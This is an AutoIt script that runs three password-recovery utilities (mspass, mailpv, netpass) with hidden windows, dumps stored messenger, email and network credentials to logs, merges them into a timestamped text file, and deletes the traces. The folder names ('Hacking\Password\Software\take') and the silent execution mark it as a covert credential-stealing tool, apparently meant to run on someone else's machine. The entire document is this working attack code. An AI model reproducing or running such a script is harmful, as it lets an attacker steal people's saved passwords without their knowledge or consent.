Run(@ComSpec & ' /c ".\Hacking\Password\Software\mspass.exe /stext .\Hacking\Password\Software\take\mspass.log"', @ScriptDir, @SW_HIDE) sleep(200) Run(@ComSpec & ' /c ".\Hacking\Password\Software\mailpv.exe /stext .\Hacking\Password\Software\take\mailpv.log"', @ScriptDir, @SW_HIDE) sleep(200) Run(@ComSpec & ' /c ".\Hacking\Password\Software\netpass.exe /stext .\Hacking\Password\Software\take\netpass.log"', @ScriptDir, @SW_HIDE) sleep(3000) Run(@ComSpec & ' /c "COPY .\Hacking\Password\Software\take\*.log .\Hacking\Password\Software\take\all.log"', @ScriptDir, @SW_HIDE) sleep(3000) Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @HOUR & "-" & @MIN & "_" & @SEC Dim $Location = @WorkingDir & '.\Hacking\Password\Software\take\' Dim $FileName = "all.log" FileMove($Location & $FileName , $Location & $DateTime & ".txt",1) sleep(3000) Run(@ComSpec & ' /c "del .\Hacking\Password\Software\take\*.log"', @ScriptDir, @SW_HIDE) sleep(1000)